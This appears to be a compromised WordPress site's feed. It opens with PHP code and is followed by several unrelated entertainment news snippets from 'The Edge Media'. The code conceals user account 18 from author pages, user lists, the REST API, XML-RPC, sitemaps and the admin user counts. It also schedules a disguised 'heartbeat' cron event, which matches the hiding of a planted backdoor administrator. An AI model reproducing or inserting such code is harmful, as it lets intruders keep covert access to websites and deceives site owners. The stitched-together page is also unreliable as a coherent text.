add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
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]]>Actors, generally, are insecure. Those who say they are not are lying. If you are not going to be on your toes, you won’t be around. Someone else standing in that line, a newcomer or a peer, will grab it from you. It is that quest and struggle,” Hashmi told PTI.
According to the actor, seeking fame is not the right thing to do as one should be passionate about their craft. “It is not so much the fear of anonymity, that should never be the case. Being famous is just a byproduct of what you do. Seeking fame isn’t the right thing to do, there has to be an inherent love for films and the filmmaking process. That’s what I love, which is why I will never be complacent,” Hashmi added.
The first half of Hashmi’s career in the 2000s was dominated by commercial hits like “Gangster”, “Jannat” and “Once Upon a Time In Mumbaai”, while in the last decade he switched to dramas like Dibakar Banerjee’s “Shanghai”, dark comedy “Ghanchakkar” and made his digital debut with Netflix series “Bard of Blood” in 2019.
The 42-year-old actor said he aims to put himself in challenging situations, seeking roles that will “shake” him off of his comfort zone.
“The day I feel that this is giving me the feeling of been there, done that, I will kick myself, to get up and do something that scares me. I have been part of that rut where I have done films that felt like a ‘been there, done that’ situation and it is not fun. You should constantly try to do films that scare you.”
Hashmi, however, is aware that getting projects which will push him as an actor are not easy as “luck” plays a huge role in finding the right story.
“When something is successful, people want to replicate that. Producers have a different way of looking at things, they factor in economics and I don’t blame them. But as a creative person, you have to walk that fine line and maintain that balance,” he added.
He is currently seen in the thriller “Chehre”, which released theatrically last week. Hashmi will also be seen in the remake of the hit Malayalam film “Ezra”, which the actor said is most likely to release in October.
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]]>The post In Russian Actor’s Death, Goa Cops Urged To Probe Chennai Photographer appeared first on The Edge Media.
]]>Alexandra Djavi, who acted in some Tamil movies including “Kanchana 3”, was found hanging in her rented flat in Siolim village of North Goa on Friday.
A senior police official said the body was kept in a mortuary while they were waiting for a No Objection Certificate (NOC) from the Russian Consulate to conduct the autopsy.
The police have already started an investigation into the case and recorded the statement of her boyfriend, he said. The woman’s boyfriend, who was living with her in the same apartment, had gone out when she died
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]]>The post Anupam Shyam passes away at 63 appeared first on The Edge Media.
]]>Actor Yashpal Sharma told ANI that he rushed to the hospital after reading reports of Anupam Shyam passing away. “I got to know that he’s no more. So we rushed here & found he was still breathing. The doctor later declared him dead. He was hospitalised for 4 days. He had high blood sugar and used to take injections during shooting of his last film: Actor Yashpal Sharma on Anupam Shyam’s death,” read the news agency tweet.
Members of the entertainment industry including Ranvir Shorey, Rajan Shahi also expressed their condolences.
Actor Manoj Joshi, tweeted: “Saddened by the demise of my friend and very talented actor Anupam Shyam ji. We have lost a great man. My deepest condolences to his family and friends.
Check the tweet here :
Rajan Shahi, producer of Mann Kee Awaaz Pratigya 2, said in a statement, “I am deeply saddened to hear about the demise of Anupam Shyamji. May his family get all the strength to sail through these difficult times. I remember when we started with Pratigya season 2, he was extremely happy to work again and play his favourite character Sajjan Singh. He was always so lively and full of enthusiasm and will be remembered for his remarkable performances. May his soul rest in peace.”
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]]>The magazine reports that the Barbados-born singer, whose real name is Robyn Fenty, derives an estimated 1.4 billion dollars of her fortune from her 50% stake in the Fenty Beauty cosmetics line.
Another source of her wealth is her share of the Savage x Fenty lingerie company and her income as a singer and actress.
Rihanna’s beauty company, of which LVMH (LVMH.PA) owns the other half, is known for its broad range of 50 skin tones, including dark shades for women of colour, which were rare when it launched in 2017. This made it a leader in inclusivity in the industry. The singer of “Umbrella” and “Love the Way You Lie” ranks second behind Oprah as the richest female entertainer, Forbes said.
(With inputs from agencies)
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]]>The post Guru Randhawa all set to make his debut as an actor appeared first on The Edge Media.
]]>The film’s story revolves around the tumultuous journey of a young musician from the depths of anonymity to fortune and status.
Talking about his acting debut, Guru Randhawa shared: “I’m quite excited to explore new horizons and expand my capabilities, as an artist I’ve always strived to discover myself in new and creative ways. Working on this film was quite an instinctive decision and I’m blessed to have this opportunity to showcase my journey and talent.”
“Trying something new always comes with a set of challenges and l’m super thrilled to put in all my hard work into it this dream project. I can’t wait to take my fans on this exciting journey with me and l’m sure it will suprise them beyond bounds,” the “Nain Bengali” singer added.
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]]>The post HRVY, the famous actor and singer wishes to write a song for SRK appeared first on The Edge Media.
]]>All of 22, this young hunk has garnered an incredible online fan-following around the globe. When asked what he thinks about this frenzy, he humbly replies, “Never in a million years did I expect to have this many people support me and my music. I’ve always wanted to travel the world and write music but I always thought it was going to be more of a hobby than my actual career. Now, I can say that being an artiste is my full-time job. If I’m honest it’s hard even calling it a job because of how incredible and how lucky I am to be doing it”.
Talking about the new dance track, HRVY says, “I wrote this song a few months ago, right in the middle of the pandemic. I remember walking into the studio wanting to write a super slow acoustic ballad. I think we even started writing one, but somehow we came out with probably my most upbeat dance club track ever. I believe in accidents in music, so, I thought let’s just roll with it! I think we all need a song that makes us want to dance right now”.
While chatting about his acting dreams, he revealed that he was more than ready to even star in a desi Bollywood film and would love to work on a song for the ‘legend’ Shah Rukh Khan. “I would love to act in a Bollywood movie! When I last visited I heard about the legend Shah Rukh Khan! So if he ever needs a song for one of his movies, I’m here!” While his next trip to India may take a tad longer owing to the Covid-19 restrictions, he sent love to his fans saying, “I love you guys, stay safe. I can’t wait to return to India. I loved it the first time and I can’t wait to come back, meet, and make more memories with you guys”.
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